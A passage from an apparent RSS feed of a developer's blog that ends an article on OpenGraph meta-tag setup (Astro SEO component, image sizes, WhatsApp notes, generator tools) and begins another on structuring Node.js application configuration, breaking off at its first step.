&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;canonical&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;canonical&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;noindex&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;noindex&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;nofollow&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;nofollow&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;openGraph&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;basic&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: canonical,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: ogTitle,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: ogType,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: _image?.src &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; _image.src &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; defaultImage.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: image.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;secureUrl&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: image.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;alt&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: ogTitle,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: _image?.height,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: _image?.width,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: _image?.format &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`image/${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;_image&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;format&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	}&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;twitter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;creator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@liran_tal&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; image.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;undefined&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;imageAlt&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: ogTitle,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: ogTitle,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;site&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@liran_tal&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;description&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: description,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;card&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;summary_large_image&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;summary&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	}&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;extend&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;				name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;og:locale&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;				content: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;en_US&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;				name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;og:description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;				content: description,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;				name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;og:site_name&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;				content: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;SITE&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	}&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;key-properties-for-ideal-opengraph-configuration&quot;&gt;Key Properties for Ideal OpenGraph Configuration&lt;/h2&gt;
&lt;p&gt;When setting up your OpenGraph, keep these key properties in mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;og:image&lt;/code&gt; Dimensions:&lt;/strong&gt; Optimal size is 1200x630 pixels for Facebook and LinkedIn. Twitter prefers 1200x675 pixels.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Absolute URLs:&lt;/strong&gt; Ensure that your URLs are absolute, not relative. It’s the difference between leading someone to your front door and leaving them in the middle of nowhere.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;important-whatsapp-opengraph-configuration&quot;&gt;Important WhatsApp OpenGraph Configuration&lt;/h2&gt;
&lt;p&gt;WhatsApp has its quirks, so make sure to include &lt;code&gt;og:site_name&lt;/code&gt; as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;property&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;og:site_name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Your Site Name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another thing to get right with WhatsApp previews when it comes to OpenGraph meta tags is the image size. WhatsApp prefers images under 300kb, so keep those visuals lightweight yet impactful.&lt;/p&gt;
&lt;h2 id=&quot;resources-for-developing-and-testing-opengraph-meta-directives&quot;&gt;Resources for Developing and Testing OpenGraph Meta Directives&lt;/h2&gt;
&lt;p&gt;Feeling a bit overwhelmed? Don’t worry; I’ve got your back with some OpenGraph generator and testing resources. Here are some tools I’ve used myself for this blog to make the OpenGraph work smoother:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://pika.style/templates/open-graph-generator&quot;&gt;Pika&lt;/a&gt; - Design and generate visually stunning OpenGraph previews effortlessly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.og-image-generator.com&quot;&gt;Uneed&lt;/a&gt; - Create captivating OpenGraph images with ease.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.opengraph.xyz&quot;&gt;opengraph.xyz&lt;/a&gt; - Test and preview your OpenGraph configuration before unveiling it to the social media world.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://placid.app/tools/free-open-graph-image-generator/&quot;&gt;placid&lt;/a&gt; - Provides a free open graph image generator and design.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://og-playground.vercel.app/&quot;&gt;Vercel OG Playground&lt;/a&gt; - Vercel hosted Open Graph playground.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://og.new/&quot;&gt;og.new&lt;/a&gt; - A simple Open Graph image generator.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://imgsrc.io&quot;&gt;imgsrc&lt;/a&gt; - A rich and elegant open graph image designer available online and at your browser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://ogimagemaker.com/&quot;&gt;OG Image Maker&lt;/a&gt; - A free OpenGraph image generator tool with several templates to choose from.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://shots.so&quot;&gt;Shots&lt;/a&gt; - A website to help create screenshots, videos and OpenGraph images for your website.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Out of the above list, I highly recommend checking out the last tool, &lt;a href=&quot;https://ogimagemaker.com/&quot;&gt;OG Image Maker&lt;/a&gt;, as it is the creation of a dear friend &lt;a href=&quot;https://twitter.com/eddyvinckk&quot;&gt;Eddy Vinck&lt;/a&gt; who also bootstrapped &lt;a href=&quot;https://blogrecorder.com/&quot;&gt;BlogRecorder&lt;/a&gt; (an awesome AI powered blogging tool for bloggers) and is a fantastic tool to create OpenGraph images with ease.&lt;/p&gt;
&lt;p&gt;Lastly, not an opengraph image designer tool, but &lt;a href=&quot;https://opengraphexamples.com/&quot;&gt;Open Graph Examples&lt;/a&gt; is a great resource to get inspiration from other websites’ Open Graph visual designs.&lt;/p&gt;
&lt;p&gt;In conclusion, OpenGraph is your website’s passport to the social media elite. With the right configuration and a touch of creativity, you can turn every share into a visual masterpiece. So, go ahead, spruce up your OpenGraph, and let your website shine in the social media spotlight!&lt;/p&gt;</content:encoded></item><item><title>Best Practices for Bootstrapping a Node.js Application Configuration</title><link>https://lirantal.com/blog/best-practices-for-bootstrapping-a-node-js-application-configuration/</link><guid>https://lirantal.com/blog/best-practices-for-bootstrapping-a-node-js-application-configuration/</guid><description>Follow these best practices to bootstrap a Node.js application configuration in a robust and maintainable way using env-schema.</description><pubDate>Tue, 31 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bootstrapping a Node.js application often requires loading configuration, whether from environment variables, or static configuration files. In a previous article, I shared my opinions on &lt;a href=&quot;/blog/environment-variables-configuration-anti-patterns-node-js-applications&quot;&gt;environment variables and configuration anti patterns in Node.js applications&lt;/a&gt; and in this article I’d like to share my approach to avoid those anti patterns.&lt;/p&gt;
&lt;h2 id=&quot;traits-of-robust-nodejs-configuration&quot;&gt;Traits of robust Node.js configuration&lt;/h2&gt;
&lt;p&gt;What makes a good configuration architecture for a Node.js application? Regardless if your choice is working with &lt;code&gt;process.env&lt;/code&gt; environment variables or other mechanisms, here are some traits I personally look for when evaluating an approach for configuration management:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Async&lt;/strong&gt; - I want to be able to load configuration asynchronously. This is especially important when loading configuration from external sources, such as a database or a remote API. However most configuration patterns I see in Node.js applications are synchronous, such as:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./config.json&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Schema defined&lt;/strong&gt; - I want to be able to define the types of my configuration values, and have them validated at application bootstrap, before the application is entered into a &lt;em&gt;ready&lt;/em&gt; state. Without a schema, a Node.js app might bootstrap successfully, but fail at runtime due to a missing or invalid configuration value.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configuration manager&lt;/strong&gt; - I want to be able to access my configuration values from anywhere in my application, without having to expose implementation details such as the configuration file path or environment variable names. The following is an example of Node.js configuration anti-pattern:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;db&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;db.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  host: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_HOST&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  port: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_PORT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  user: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_USER&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  password: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_PASSWORD&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  database: process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;DB_NAME&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Configuration factory&lt;/strong&gt; - I want to be able to create multiple configuration instances, for example for different environments, or for different parts of my application. This is especially important when writing tests, where I might want to create a configuration instance with different values than the production configuration. Often the anti pattern followed by Node.js developers is to use a CJS configuration module and passing it around, which forces a singleton pattern.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;practical-approach-to-nodejs-configuration&quot;&gt;Practical approach to Node.js configuration&lt;/h2&gt;
&lt;p&gt;In this second part of the article I’ll demonstrate the proposed configuration manager approach in a step-by-step process which outlines the libraries in-use, and outlines which anti-patterns to avoid.&lt;/p&gt;
&lt;h3 id=&quot;step-1-use-configuration-data-sourced-from-env-files&quot;&gt;Step 1: Use configuration data sourced from &lt;code&gt;.env&lt;/code&gt; files&lt;/h3&gt;
